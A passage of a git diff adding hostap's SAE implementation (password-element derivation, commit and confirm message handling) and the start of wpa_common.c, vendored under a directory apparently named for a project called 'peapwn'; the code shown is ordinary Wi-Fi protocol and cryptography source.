+ if (a == NULL || b == NULL) + res = -1; + else + res = crypto_bignum_exptmod(a, b, sae->tmp->prime, pwe); + + crypto_bignum_deinit(a, 0); + crypto_bignum_deinit(b, 0); + + if (res < 0) { + wpa_printf(MSG_DEBUG, "SAE: Failed to calculate PWE"); + return -1; + } + + /* if (PWE > 1) --> found */ + if (crypto_bignum_is_zero(pwe) || crypto_bignum_is_one(pwe)) { + wpa_printf(MSG_DEBUG, "SAE: PWE <= 1"); + return 0; + } + + wpa_printf(MSG_DEBUG, "SAE: PWE found"); + return 1; +} + + +static int sae_derive_pwe_ecc(struct sae_data *sae, const u8 *addr1, + const u8 *addr2, const u8 *password, + size_t password_len) +{ + u8 counter, k = 4; + u8 addrs[2 * ETH_ALEN]; + const u8 *addr[2]; + size_t len[2]; + int found = 0; + struct crypto_ec_point *pwe_tmp; + + if (sae->tmp->pwe_ecc == NULL) { + sae->tmp->pwe_ecc = crypto_ec_point_init(sae->tmp->ec); + if (sae->tmp->pwe_ecc == NULL) + return -1; + } + pwe_tmp = crypto_ec_point_init(sae->tmp->ec); + if (pwe_tmp == NULL) + return -1; + + wpa_hexdump_ascii_key(MSG_DEBUG, "SAE: password", + password, password_len); + + /* + * H(salt, ikm) = HMAC-SHA256(salt, ikm) + * pwd-seed = H(MAX(STA-A-MAC, STA-B-MAC) || MIN(STA-A-MAC, STA-B-MAC), + * password || counter) + */ + sae_pwd_seed_key(addr1, addr2, addrs); + + addr[0] = password; + len[0] = password_len; + addr[1] = &counter; + len[1] = sizeof(counter); + + /* + * Continue for at least k iterations to protect against side-channel + * attacks that attempt to determine the number of iterations required + * in the loop. + */ + for (counter = 1; counter < k || !found; counter++) { + u8 pwd_seed[SHA256_MAC_LEN]; + int res; + + if (counter > 200) { + /* This should not happen in practice */ + wpa_printf(MSG_DEBUG, "SAE: Failed to derive PWE"); + break; + } + + wpa_printf(MSG_DEBUG, "SAE: counter = %u", counter); + if (hmac_sha256_vector(addrs, sizeof(addrs), 2, addr, len, + pwd_seed) < 0) + break; + res = sae_test_pwd_seed_ecc(sae, pwd_seed, + found ? pwe_tmp : + sae->tmp->pwe_ecc); + if (res < 0) + break; + if (res == 0) + continue; + if (found) { + wpa_printf(MSG_DEBUG, "SAE: Ignore this PWE (one was " + "already selected)"); + } else { + wpa_printf(MSG_DEBUG, "SAE: Use this PWE"); + found = 1; + } + } + + crypto_ec_point_deinit(pwe_tmp, 1); + + return found ? 0 : -1; +} + + +static int sae_derive_pwe_ffc(struct sae_data *sae, const u8 *addr1, + const u8 *addr2, const u8 *password, + size_t password_len) +{ + u8 counter; + u8 addrs[2 * ETH_ALEN]; + const u8 *addr[2]; + size_t len[2]; + int found = 0; + + if (sae->tmp->pwe_ffc == NULL) { + sae->tmp->pwe_ffc = crypto_bignum_init(); + if (sae->tmp->pwe_ffc == NULL) + return -1; + } + + wpa_hexdump_ascii_key(MSG_DEBUG, "SAE: password", + password, password_len); + + /* + * H(salt, ikm) = HMAC-SHA256(salt, ikm) + * pwd-seed = H(MAX(STA-A-MAC, STA-B-MAC) || MIN(STA-A-MAC, STA-B-MAC), + * password || counter) + */ + sae_pwd_seed_key(addr1, addr2, addrs); + + addr[0] = password; + len[0] = password_len; + addr[1] = &counter; + len[1] = sizeof(counter); + + for (counter = 1; !found; counter++) { + u8 pwd_seed[SHA256_MAC_LEN]; + int res; + + if (counter > 200) { + /* This should not happen in practice */ + wpa_printf(MSG_DEBUG, "SAE: Failed to derive PWE"); + break; + } + + wpa_printf(MSG_DEBUG, "SAE: counter = %u", counter); + if (hmac_sha256_vector(addrs, sizeof(addrs), 2, addr, len, + pwd_seed) < 0) + break; + res = sae_test_pwd_seed_ffc(sae, pwd_seed, sae->tmp->pwe_ffc); + if (res < 0) + break; + if (res > 0) { + wpa_printf(MSG_DEBUG, "SAE: Use this PWE"); + found = 1; + } + } + + return found ? 0 : -1; +} + + +static int sae_derive_commit_element_ecc(struct sae_data *sae, + struct crypto_bignum *mask) +{ + /* COMMIT-ELEMENT = inverse(scalar-op(mask, PWE)) */ + if (!sae->tmp->own_commit_element_ecc) { + sae->tmp->own_commit_element_ecc = + crypto_ec_point_init(sae->tmp->ec); + if (!sae->tmp->own_commit_element_ecc) + return -1; + } + + if (crypto_ec_point_mul(sae->tmp->ec, sae->tmp->pwe_ecc, mask, + sae->tmp->own_commit_element_ecc) < 0 || + crypto_ec_point_invert(sae->tmp->ec, + sae->tmp->own_commit_element_ecc) < 0) { + wpa_printf(MSG_DEBUG, "SAE: Could not compute commit-element"); + return -1; + } + + return 0; +} + + +static int sae_derive_commit_element_ffc(struct sae_data *sae, + struct crypto_bignum *mask) +{ + /* COMMIT-ELEMENT = inverse(scalar-op(mask, PWE)) */ + if (!sae->tmp->own_commit_element_ffc) { + sae->tmp->own_commit_element_ffc = crypto_bignum_init(); + if (!sae->tmp->own_commit_element_ffc) + return -1; + } + + if (crypto_bignum_exptmod(sae->tmp->pwe_ffc, mask, sae->tmp->prime, + sae->tmp->own_commit_element_ffc) < 0 || + crypto_bignum_inverse(sae->tmp->own_commit_element_ffc, + sae->tmp->prime, + sae->tmp->own_commit_element_ffc) < 0) { + wpa_printf(MSG_DEBUG, "SAE: Could not compute commit-element"); + return -1; + } + + return 0; +} + + +static int sae_derive_commit(struct sae_data *sae) +{ + struct crypto_bignum *mask; + int ret = -1; + + mask = sae_get_rand_and_mask(sae); + if (mask == NULL) { + wpa_printf(MSG_DEBUG, "SAE: Could not get rand/mask"); + return -1; + } + + /* commit-scalar = (rand + mask) modulo r */ + if (!sae->tmp->own_commit_scalar) { + sae->tmp->own_commit_scalar = crypto_bignum_init(); + if (!sae->tmp->own_commit_scalar) + goto fail; + } + crypto_bignum_add(sae->tmp->sae_rand, mask, + sae->tmp->own_commit_scalar); + crypto_bignum_mod(sae->tmp->own_commit_scalar, sae->tmp->order, + sae->tmp->own_commit_scalar); + + if (sae->tmp->ec && sae_derive_commit_element_ecc(sae, mask) < 0) + goto fail; + if (sae->tmp->dh && sae_derive_commit_element_ffc(sae, mask) < 0) + goto fail; + + ret = 0; +fail: + crypto_bignum_deinit(mask, 1); + return ret; +} + + +int sae_prepare_commit(const u8 *addr1, const u8 *addr2, + const u8 *password, size_t password_len, + struct sae_data *sae) +{ + if (sae->tmp->ec && sae_derive_pwe_ecc(sae, addr1, addr2, password, + password_len) < 0) + return -1; + if (sae->tmp->dh && sae_derive_pwe_ffc(sae, addr1, addr2, password, + password_len) < 0) + return -1; + if (sae_derive_commit(sae) < 0) + return -1; + return 0; +} + + +static int sae_derive_k_ecc(struct sae_data *sae, u8 *k) +{ + struct crypto_ec_point *K; + int ret = -1; + + K = crypto_ec_point_init(sae->tmp->ec); + if (K == NULL) + goto fail; + + /* + * K = scalar-op(rand, (elem-op(scalar-op(peer-commit-scalar, PWE), + * PEER-COMMIT-ELEMENT))) + * If K is identity element (point-at-infinity), reject + * k = F(K) (= x coordinate) + */ + + if (crypto_ec_point_mul(sae->tmp->ec, sae->tmp->pwe_ecc, + sae->peer_commit_scalar, K) < 0 || + crypto_ec_point_add(sae->tmp->ec, K, + sae->tmp->peer_commit_element_ecc, K) < 0 || + crypto_ec_point_mul(sae->tmp->ec, K, sae->tmp->sae_rand, K) < 0 || + crypto_ec_point_is_at_infinity(sae->tmp->ec, K) || + crypto_ec_point_to_bin(sae->tmp->ec, K, k, NULL) < 0) { + wpa_printf(MSG_DEBUG, "SAE: Failed to calculate K and k"); + goto fail; + } + + wpa_hexdump_key(MSG_DEBUG, "SAE: k", k, sae->tmp->prime_len); + + ret = 0; +fail: + crypto_ec_point_deinit(K, 1); + return ret; +} + + +static int sae_derive_k_ffc(struct sae_data *sae, u8 *k) +{ + struct crypto_bignum *K; + int ret = -1; + + K = crypto_bignum_init(); + if (K == NULL) + goto fail; + + /* + * K = scalar-op(rand, (elem-op(scalar-op(peer-commit-scalar, PWE), + * PEER-COMMIT-ELEMENT))) + * If K is identity element (one), reject. + * k = F(K) (= x coordinate) + */ + + if (crypto_bignum_exptmod(sae->tmp->pwe_ffc, sae->peer_commit_scalar, + sae->tmp->prime, K) < 0 || + crypto_bignum_mulmod(K, sae->tmp->peer_commit_element_ffc, + sae->tmp->prime, K) < 0 || + crypto_bignum_exptmod(K, sae->tmp->sae_rand, sae->tmp->prime, K) < 0 + || + crypto_bignum_is_one(K) || + crypto_bignum_to_bin(K, k, SAE_MAX_PRIME_LEN, sae->tmp->prime_len) < + 0) { + wpa_printf(MSG_DEBUG, "SAE: Failed to calculate K and k"); + goto fail; + } + + wpa_hexdump_key(MSG_DEBUG, "SAE: k", k, sae->tmp->prime_len); + + ret = 0; +fail: + crypto_bignum_deinit(K, 1); + return ret; +} + + +static int sae_derive_keys(struct sae_data *sae, const u8 *k) +{ + u8 null_key[SAE_KEYSEED_KEY_LEN], val[SAE_MAX_PRIME_LEN]; + u8 keyseed[SHA256_MAC_LEN]; + u8 keys[SAE_KCK_LEN + SAE_PMK_LEN]; + struct crypto_bignum *tmp; + int ret = -1; + + tmp = crypto_bignum_init(); + if (tmp == NULL) + goto fail; + + /* keyseed = H(<0>32, k) + * KCK || PMK = KDF-512(keyseed, "SAE KCK and PMK", + * (commit-scalar + peer-commit-scalar) modulo r) + * PMKID = L((commit-scalar + peer-commit-scalar) modulo r, 0, 128) + */ + + os_memset(null_key, 0, sizeof(null_key)); + hmac_sha256(null_key, sizeof(null_key), k, sae->tmp->prime_len, + keyseed); + wpa_hexdump_key(MSG_DEBUG, "SAE: keyseed", keyseed, sizeof(keyseed)); + + crypto_bignum_add(sae->tmp->own_commit_scalar, sae->peer_commit_scalar, + tmp); + crypto_bignum_mod(tmp, sae->tmp->order, tmp); + crypto_bignum_to_bin(tmp, val, sizeof(val), sae->tmp->prime_len); + wpa_hexdump(MSG_DEBUG, "SAE: PMKID", val, SAE_PMKID_LEN); + sha256_prf(keyseed, sizeof(keyseed), "SAE KCK and PMK", + val, sae->tmp->prime_len, keys, sizeof(keys)); + os_memcpy(sae->tmp->kck, keys, SAE_KCK_LEN); + os_memcpy(sae->pmk, keys + SAE_KCK_LEN, SAE_PMK_LEN); + wpa_hexdump_key(MSG_DEBUG, "SAE: KCK", sae->tmp->kck, SAE_KCK_LEN); + wpa_hexdump_key(MSG_DEBUG, "SAE: PMK", sae->pmk, SAE_PMK_LEN); + + ret = 0; +fail: + crypto_bignum_deinit(tmp, 0); + return ret; +} + + +int sae_process_commit(struct sae_data *sae) +{ + u8 k[SAE_MAX_PRIME_LEN]; + if ((sae->tmp->ec && sae_derive_k_ecc(sae, k) < 0) || + (sae->tmp->dh && sae_derive_k_ffc(sae, k) < 0) || + sae_derive_keys(sae, k) < 0) + return -1; + return 0; +} + + +void sae_write_commit(struct sae_data *sae, struct wpabuf *buf, + const struct wpabuf *token) +{ + u8 *pos; + wpabuf_put_le16(buf, sae->group); /* Finite Cyclic Group */ + if (token) + wpabuf_put_buf(buf, token); + pos = wpabuf_put(buf, sae->tmp->prime_len); + crypto_bignum_to_bin(sae->tmp->own_commit_scalar, pos, + sae->tmp->prime_len, sae->tmp->prime_len); + wpa_hexdump(MSG_DEBUG, "SAE: own commit-scalar", + pos, sae->tmp->prime_len); + if (sae->tmp->ec) { + pos = wpabuf_put(buf, 2 * sae->tmp->prime_len); + crypto_ec_point_to_bin(sae->tmp->ec, + sae->tmp->own_commit_element_ecc, + pos, pos + sae->tmp->prime_len); + wpa_hexdump(MSG_DEBUG, "SAE: own commit-element(x)", + pos, sae->tmp->prime_len); + wpa_hexdump(MSG_DEBUG, "SAE: own commit-element(y)", + pos + sae->tmp->prime_len, sae->tmp->prime_len); + } else { + pos = wpabuf_put(buf, sae->tmp->prime_len); + crypto_bignum_to_bin(sae->tmp->own_commit_element_ffc, pos, + sae->tmp->prime_len, sae->tmp->prime_len); + wpa_hexdump(MSG_DEBUG, "SAE: own commit-element", + pos, sae->tmp->prime_len); + } +} + + +static u16 sae_group_allowed(struct sae_data *sae, int *allowed_groups, + u16 group) +{ + if (allowed_groups) { + int i; + for (i = 0; allowed_groups[i] > 0; i++) { + if (allowed_groups[i] == group) + break; + } + if (allowed_groups[i] != group) { + wpa_printf(MSG_DEBUG, "SAE: Proposed group %u not " + "enabled in the current configuration", + group); + return WLAN_STATUS_FINITE_CYCLIC_GROUP_NOT_SUPPORTED; + } + } + + if (sae->state == SAE_COMMITTED && group != sae->group) { + wpa_printf(MSG_DEBUG, "SAE: Do not allow group to be changed"); + return WLAN_STATUS_FINITE_CYCLIC_GROUP_NOT_SUPPORTED; + } + + if (group != sae->group && sae_set_group(sae, group) < 0) { + wpa_printf(MSG_DEBUG, "SAE: Unsupported Finite Cyclic Group %u", + group); + return WLAN_STATUS_FINITE_CYCLIC_GROUP_NOT_SUPPORTED; + } + + if (sae->tmp->dh && !allowed_groups) { + wpa_printf(MSG_DEBUG, "SAE: Do not allow FFC group %u without " + "explicit configuration enabling it", group); + return WLAN_STATUS_FINITE_CYCLIC_GROUP_NOT_SUPPORTED; + } + + return WLAN_STATUS_SUCCESS; +} + + +static void sae_parse_commit_token(struct sae_data *sae, const u8 **pos, + const u8 *end, const u8 **token, + size_t *token_len) +{ + if (*pos + (sae->tmp->ec ? 3 : 2) * sae->tmp->prime_len < end) { + size_t tlen = end - (*pos + (sae->tmp->ec ? 3 : 2) * + sae->tmp->prime_len); + wpa_hexdump(MSG_DEBUG, "SAE: Anti-Clogging Token", *pos, tlen); + if (token) + *token = *pos; + if (token_len) + *token_len = tlen; + *pos += tlen; + } else { + if (token) + *token = NULL; + if (token_len) + *token_len = 0; + } +} + + +static u16 sae_parse_commit_scalar(struct sae_data *sae, const u8 **pos, + const u8 *end) +{ + struct crypto_bignum *peer_scalar; + + if (*pos + sae->tmp->prime_len > end) { + wpa_printf(MSG_DEBUG, "SAE: Not enough data for scalar"); + return WLAN_STATUS_UNSPECIFIED_FAILURE; + } + + peer_scalar = crypto_bignum_init_set(*pos, sae->tmp->prime_len); + if (peer_scalar == NULL) + return WLAN_STATUS_UNSPECIFIED_FAILURE; + + /* + * IEEE Std 802.11-2012, 11.3.8.6.1: If there is a protocol instance for + * the peer and it is in Authenticated state, the new Commit Message + * shall be dropped if the peer-scalar is identical to the one used in + * the existing protocol instance. + */ + if (sae->state == SAE_ACCEPTED && sae->peer_commit_scalar && + crypto_bignum_cmp(sae->peer_commit_scalar, peer_scalar) == 0) { + wpa_printf(MSG_DEBUG, "SAE: Do not accept re-use of previous " + "peer-commit-scalar"); + crypto_bignum_deinit(peer_scalar, 0); + return WLAN_STATUS_UNSPECIFIED_FAILURE; + } + + /* 0 < scalar < r */ + if (crypto_bignum_is_zero(peer_scalar) || + crypto_bignum_cmp(peer_scalar, sae->tmp->order) >= 0) { + wpa_printf(MSG_DEBUG, "SAE: Invalid peer scalar"); + crypto_bignum_deinit(peer_scalar, 0); + return WLAN_STATUS_UNSPECIFIED_FAILURE; + } + + + crypto_bignum_deinit(sae->peer_commit_scalar, 0); + sae->peer_commit_scalar = peer_scalar; + wpa_hexdump(MSG_DEBUG, "SAE: Peer commit-scalar", + *pos, sae->tmp->prime_len); + *pos += sae->tmp->prime_len; + + return WLAN_STATUS_SUCCESS; +} + + +static u16 sae_parse_commit_element_ecc(struct sae_data *sae, const u8 *pos, + const u8 *end) +{ + u8 prime[SAE_MAX_ECC_PRIME_LEN]; + + if (pos + 2 * sae->tmp->prime_len > end) { + wpa_printf(MSG_DEBUG, "SAE: Not enough data for " + "commit-element"); + return WLAN_STATUS_UNSPECIFIED_FAILURE; + } + + if (crypto_bignum_to_bin(sae->tmp->prime, prime, sizeof(prime), + sae->tmp->prime_len) < 0) + return WLAN_STATUS_UNSPECIFIED_FAILURE; + + /* element x and y coordinates < p */ + if (os_memcmp(pos, prime, sae->tmp->prime_len) >= 0 || + os_memcmp(pos + sae->tmp->prime_len + sae->tmp->prime_len, prime, + sae->tmp->prime_len) >= 0) { + wpa_printf(MSG_DEBUG, "SAE: Invalid coordinates in peer " + "element"); + return WLAN_STATUS_UNSPECIFIED_FAILURE; + } + + wpa_hexdump(MSG_DEBUG, "SAE: Peer commit-element(x)", + pos, sae->tmp->prime_len); + wpa_hexdump(MSG_DEBUG, "SAE: Peer commit-element(y)", + pos + sae->tmp->prime_len, sae->tmp->prime_len); + + crypto_ec_point_deinit(sae->tmp->peer_commit_element_ecc, 0); + sae->tmp->peer_commit_element_ecc = + crypto_ec_point_from_bin(sae->tmp->ec, pos); + if (sae->tmp->peer_commit_element_ecc == NULL) + return WLAN_STATUS_UNSPECIFIED_FAILURE; + + if (!crypto_ec_point_is_on_curve(sae->tmp->ec, + sae->tmp->peer_commit_element_ecc)) { + wpa_printf(MSG_DEBUG, "SAE: Peer element is not on curve"); + return WLAN_STATUS_UNSPECIFIED_FAILURE; + } + + return WLAN_STATUS_SUCCESS; +} + + +static u16 sae_parse_commit_element_ffc(struct sae_data *sae, const u8 *pos, + const u8 *end) +{ + struct crypto_bignum *res; + + if (pos + sae->tmp->prime_len > end) { + wpa_printf(MSG_DEBUG, "SAE: Not enough data for " + "commit-element"); + return WLAN_STATUS_UNSPECIFIED_FAILURE; + } + wpa_hexdump(MSG_DEBUG, "SAE: Peer commit-element", pos, + sae->tmp->prime_len); + + crypto_bignum_deinit(sae->tmp->peer_commit_element_ffc, 0); + sae->tmp->peer_commit_element_ffc = + crypto_bignum_init_set(pos, sae->tmp->prime_len); + if (sae->tmp->peer_commit_element_ffc == NULL) + return WLAN_STATUS_UNSPECIFIED_FAILURE; + if (crypto_bignum_is_zero(sae->tmp->peer_commit_element_ffc) || + crypto_bignum_is_one(sae->tmp->peer_commit_element_ffc) || + crypto_bignum_cmp(sae->tmp->peer_commit_element_ffc, + sae->tmp->prime) >= 0) { + wpa_printf(MSG_DEBUG, "SAE: Invalid peer element"); + return WLAN_STATUS_UNSPECIFIED_FAILURE; + } + + /* scalar-op(r, ELEMENT) = 1 modulo p */ + res = crypto_bignum_init(); + if (res == NULL || + crypto_bignum_exptmod(sae->tmp->peer_commit_element_ffc, + sae->tmp->order, sae->tmp->prime, res) < 0 || + !crypto_bignum_is_one(res)) { + wpa_printf(MSG_DEBUG, "SAE: Invalid peer element (scalar-op)"); + crypto_bignum_deinit(res, 0); + return WLAN_STATUS_UNSPECIFIED_FAILURE; + } + crypto_bignum_deinit(res, 0); + + return WLAN_STATUS_SUCCESS; +} + + +static u16 sae_parse_commit_element(struct sae_data *sae, const u8 *pos, + const u8 *end) +{ + if (sae->tmp->dh) + return sae_parse_commit_element_ffc(sae, pos, end); + return sae_parse_commit_element_ecc(sae, pos, end); +} + + +u16 sae_parse_commit(struct sae_data *sae, const u8 *data, size_t len, + const u8 **token, size_t *token_len, int *allowed_groups) +{ + const u8 *pos = data, *end = data + len; + u16 res; + + /* Check Finite Cyclic Group */ + if (pos + 2 > end) + return WLAN_STATUS_UNSPECIFIED_FAILURE; + res = sae_group_allowed(sae, allowed_groups, WPA_GET_LE16(pos)); + if (res != WLAN_STATUS_SUCCESS) + return res; + pos += 2; + + /* Optional Anti-Clogging Token */ + sae_parse_commit_token(sae, &pos, end, token, token_len); + + /* commit-scalar */ + res = sae_parse_commit_scalar(sae, &pos, end); + if (res != WLAN_STATUS_SUCCESS) + return res; + + /* commit-element */ + return sae_parse_commit_element(sae, pos, end); +} + + +static void sae_cn_confirm(struct sae_data *sae, const u8 *sc, + const struct crypto_bignum *scalar1, + const u8 *element1, size_t element1_len, + const struct crypto_bignum *scalar2, + const u8 *element2, size_t element2_len, + u8 *confirm) +{ + const u8 *addr[5]; + size_t len[5]; + u8 scalar_b1[SAE_MAX_PRIME_LEN], scalar_b2[SAE_MAX_PRIME_LEN]; + + /* Confirm + * CN(key, X, Y, Z, ...) = + * HMAC-SHA256(key, D2OS(X) || D2OS(Y) || D2OS(Z) | ...) + * confirm = CN(KCK, send-confirm, commit-scalar, COMMIT-ELEMENT, + * peer-commit-scalar, PEER-COMMIT-ELEMENT) + * verifier = CN(KCK, peer-send-confirm, peer-commit-scalar, + * PEER-COMMIT-ELEMENT, commit-scalar, COMMIT-ELEMENT) + */ + addr[0] = sc; + len[0] = 2; + crypto_bignum_to_bin(scalar1, scalar_b1, sizeof(scalar_b1), + sae->tmp->prime_len); + addr[1] = scalar_b1; + len[1] = sae->tmp->prime_len; + addr[2] = element1; + len[2] = element1_len; + crypto_bignum_to_bin(scalar2, scalar_b2, sizeof(scalar_b2), + sae->tmp->prime_len); + addr[3] = scalar_b2; + len[3] = sae->tmp->prime_len; + addr[4] = element2; + len[4] = element2_len; + hmac_sha256_vector(sae->tmp->kck, sizeof(sae->tmp->kck), 5, addr, len, + confirm); +} + + +static void sae_cn_confirm_ecc(struct sae_data *sae, const u8 *sc, + const struct crypto_bignum *scalar1, + const struct crypto_ec_point *element1, + const struct crypto_bignum *scalar2, + const struct crypto_ec_point *element2, + u8 *confirm) +{ + u8 element_b1[2 * SAE_MAX_ECC_PRIME_LEN]; + u8 element_b2[2 * SAE_MAX_ECC_PRIME_LEN]; + + crypto_ec_point_to_bin(sae->tmp->ec, element1, element_b1, + element_b1 + sae->tmp->prime_len); + crypto_ec_point_to_bin(sae->tmp->ec, element2, element_b2, + element_b2 + sae->tmp->prime_len); + + sae_cn_confirm(sae, sc, scalar1, element_b1, 2 * sae->tmp->prime_len, + scalar2, element_b2, 2 * sae->tmp->prime_len, confirm); +} + + +static void sae_cn_confirm_ffc(struct sae_data *sae, const u8 *sc, + const struct crypto_bignum *scalar1, + const struct crypto_bignum *element1, + const struct crypto_bignum *scalar2, + const struct crypto_bignum *element2, + u8 *confirm) +{ + u8 element_b1[SAE_MAX_PRIME_LEN]; + u8 element_b2[SAE_MAX_PRIME_LEN]; + + crypto_bignum_to_bin(element1, element_b1, sizeof(element_b1), + sae->tmp->prime_len); + crypto_bignum_to_bin(element2, element_b2, sizeof(element_b2), + sae->tmp->prime_len); + + sae_cn_confirm(sae, sc, scalar1, element_b1, sae->tmp->prime_len, + scalar2, element_b2, sae->tmp->prime_len, confirm); +} + + +void sae_write_confirm(struct sae_data *sae, struct wpabuf *buf) +{ + const u8 *sc; + + /* Send-Confirm */ + sc = wpabuf_put(buf, 0); + wpabuf_put_le16(buf, sae->send_confirm); + sae->send_confirm++; + + if (sae->tmp->ec) + sae_cn_confirm_ecc(sae, sc, sae->tmp->own_commit_scalar, + sae->tmp->own_commit_element_ecc, + sae->peer_commit_scalar, + sae->tmp->peer_commit_element_ecc, + wpabuf_put(buf, SHA256_MAC_LEN)); + else + sae_cn_confirm_ffc(sae, sc, sae->tmp->own_commit_scalar, + sae->tmp->own_commit_element_ffc, + sae->peer_commit_scalar, + sae->tmp->peer_commit_element_ffc, + wpabuf_put(buf, SHA256_MAC_LEN)); +} + + +int sae_check_confirm(struct sae_data *sae, const u8 *data, size_t len) +{ + u8 verifier[SHA256_MAC_LEN]; + + if (len < 2 + SHA256_MAC_LEN) { + wpa_printf(MSG_DEBUG, "SAE: Too short confirm message"); + return -1; + } + + wpa_printf(MSG_DEBUG, "SAE: peer-send-confirm %u", WPA_GET_LE16(data)); + + if (sae->tmp->ec) + sae_cn_confirm_ecc(sae, data, sae->peer_commit_scalar, + sae->tmp->peer_commit_element_ecc, + sae->tmp->own_commit_scalar, + sae->tmp->own_commit_element_ecc, + verifier); + else + sae_cn_confirm_ffc(sae, data, sae->peer_commit_scalar, + sae->tmp->peer_commit_element_ffc, + sae->tmp->own_commit_scalar, + sae->tmp->own_commit_element_ffc, + verifier); + + if (os_memcmp(verifier, data + 2, SHA256_MAC_LEN) != 0) { + wpa_printf(MSG_DEBUG, "SAE: Confirm mismatch"); + wpa_hexdump(MSG_DEBUG, "SAE: Received confirm", + data + 2, SHA256_MAC_LEN); + wpa_hexdump(MSG_DEBUG, "SAE: Calculated verifier", + verifier, SHA256_MAC_LEN); + return -1; + } + + return 0; +} diff --git a/peapwn/mods/hostap/src/common/sae.h b/peapwn/mods/hostap/src/common/sae.h new file mode 100644 index 000000000..d82a98e88 --- /dev/null +++ b/peapwn/mods/hostap/src/common/sae.h @@ -0,0 +1,64 @@ +/* + * Simultaneous authentication of equals + * Copyright (c) 2012-2013, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef SAE_H +#define SAE_H + +#define SAE_KCK_LEN 32 +#define SAE_PMK_LEN 32 +#define SAE_PMKID_LEN 16 +#define SAE_KEYSEED_KEY_LEN 32 +#define SAE_MAX_PRIME_LEN 512 +#define SAE_MAX_ECC_PRIME_LEN 66 +#define SAE_COMMIT_MAX_LEN (2 + 3 * SAE_MAX_PRIME_LEN) +#define SAE_CONFIRM_MAX_LEN (2 + SAE_MAX_PRIME_LEN) + +struct sae_temporary_data { + u8 kck[SAE_KCK_LEN]; + struct crypto_bignum *own_commit_scalar; + struct crypto_bignum *own_commit_element_ffc; + struct crypto_ec_point *own_commit_element_ecc; + struct crypto_bignum *peer_commit_element_ffc; + struct crypto_ec_point *peer_commit_element_ecc; + struct crypto_ec_point *pwe_ecc; + struct crypto_bignum *pwe_ffc; + struct crypto_bignum *sae_rand; + struct crypto_ec *ec; + int prime_len; + const struct dh_group *dh; + const struct crypto_bignum *prime; + const struct crypto_bignum *order; + struct crypto_bignum *prime_buf; + struct crypto_bignum *order_buf; +}; + +struct sae_data { + enum { SAE_NOTHING, SAE_COMMITTED, SAE_CONFIRMED, SAE_ACCEPTED } state; + u16 send_confirm; + u8 pmk[SAE_PMK_LEN]; + struct crypto_bignum *peer_commit_scalar; + int group; + struct sae_temporary_data *tmp; +}; + +int sae_set_group(struct sae_data *sae, int group); +void sae_clear_temp_data(struct sae_data *sae); +void sae_clear_data(struct sae_data *sae); + +int sae_prepare_commit(const u8 *addr1, const u8 *addr2, + const u8 *password, size_t password_len, + struct sae_data *sae); +int sae_process_commit(struct sae_data *sae); +void sae_write_commit(struct sae_data *sae, struct wpabuf *buf, + const struct wpabuf *token); +u16 sae_parse_commit(struct sae_data *sae, const u8 *data, size_t len, + const u8 **token, size_t *token_len, int *allowed_groups); +void sae_write_confirm(struct sae_data *sae, struct wpabuf *buf); +int sae_check_confirm(struct sae_data *sae, const u8 *data, size_t len); + +#endif /* SAE_H */ diff --git a/peapwn/mods/hostap/src/common/version.h b/peapwn/mods/hostap/src/common/version.h new file mode 100644 index 000000000..2faa8c7cb --- /dev/null +++ b/peapwn/mods/hostap/src/common/version.h @@ -0,0 +1,10 @@ +#ifndef VERSION_H +#define VERSION_H + +#ifndef VERSION_STR_POSTFIX +#define VERSION_STR_POSTFIX "" +#endif /* VERSION_STR_POSTFIX */ + +#define VERSION_STR "2.1-devel" VERSION_STR_POSTFIX + +#endif /* VERSION_H */ diff --git a/peapwn/mods/hostap/src/common/wpa_common.c b/peapwn/mods/hostap/src/common/wpa_common.c new file mode 100644 index 000000000..c3afbfd3a --- /dev/null +++ b/peapwn/mods/hostap/src/common/wpa_common.c @@ -0,0 +1,1377 @@ +/* + * WPA/RSN - Shared functions for supplicant and authenticator + * Copyright (c) 2002-2013, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "crypto/md5.h" +#include "crypto/sha1.h" +#include "crypto/sha256.h" +#include "crypto/aes_wrap.h" +#include "crypto/crypto.h" +#include "ieee802_11_defs.h" +#include "defs.h" +#include "wpa_common.h" + + +/** + * wpa_eapol_key_mic - Calculate EAPOL-Key MIC + * @key: EAPOL-Key Key Confirmation Key (KCK) + * @ver: Key descriptor version (WPA_KEY_INFO_TYPE_*) + * @buf: Pointer to the beginning of the EAPOL header (version field) + * @len: Length of the EAPOL frame (from EAPOL header to the end of the frame) + * @mic: Pointer to the buffer to which the EAPOL-Key MIC is written + * Returns: 0 on success, -1 on failure + * + * Calculate EAPOL-Key MIC for an EAPOL-Key packet. The EAPOL-Key MIC field has + * to be cleared (all zeroes) when calling this function. + * + * Note: 'IEEE Std 802.11i-2004 - 8.5.2 EAPOL-Key frames' has an error in the + * description of the Key MIC calculation. It includes packet data from the + * beginning of the EAPOL-Key header, not EAPOL header. This incorrect change + * happened during final editing of the standard and the correct behavior is + * defined in the last draft (IEEE 802.11i/D10). + */ +int wpa_eapol_key_mic(const u8 *key, int ver, const u8 *buf, size_t len, + u8 *mic) +{ + u8 hash[SHA1_MAC_LEN]; + + switch (ver) { +#ifndef CONFIG_FIPS + case WPA_KEY_INFO_TYPE_HMAC_MD5_RC4: + return hmac_md5(key, 16, buf, len, mic); +#endif /* CONFIG_FIPS */ + case WPA_KEY_INFO_TYPE_HMAC_SHA1_AES: + if (hmac_sha1(key, 16, buf, len, hash)) + return -1; + os_memcpy(mic, hash, MD5_MAC_LEN); + break; +#if defined(CONFIG_IEEE80211R) || defined(CONFIG_IEEE80211W) + case WPA_KEY_INFO_TYPE_AES_128_CMAC: + return omac1_aes_128(key, buf, len, mic); +#endif /* CONFIG_IEEE80211R || CONFIG_IEEE80211W */ + default: + return -1; + } + + return 0; +} + + +/** + * wpa_pmk_to_ptk - Calculate PTK from PMK, addresses, and nonces + * @pmk: Pairwise master key + * @pmk_len: Length of PMK + * @label: Label to use in derivation + * @addr1: AA or SA + * @addr2: SA or AA + * @nonce1: ANonce or SNonce + * @nonce2: SNonce or ANonce + * @ptk: Buffer for pairwise transient key + * @ptk_len: Length of PTK + * @use_sha256: Whether to use SHA256-based KDF + * + * IEEE Std 802.11i-2004 - 8.5.1.2 Pairwise key hierarchy + * PTK = PRF-X(PMK, "Pairwise key expansion", + * Min(AA, SA) || Max(AA, SA) || + * Min(ANonce, SNonce) || Max(ANonce, SNonce)) + * + * STK = PRF-X(SMK, "Peer key expansion", + * Min(MAC_I, MAC_P) || Max(MAC_I, 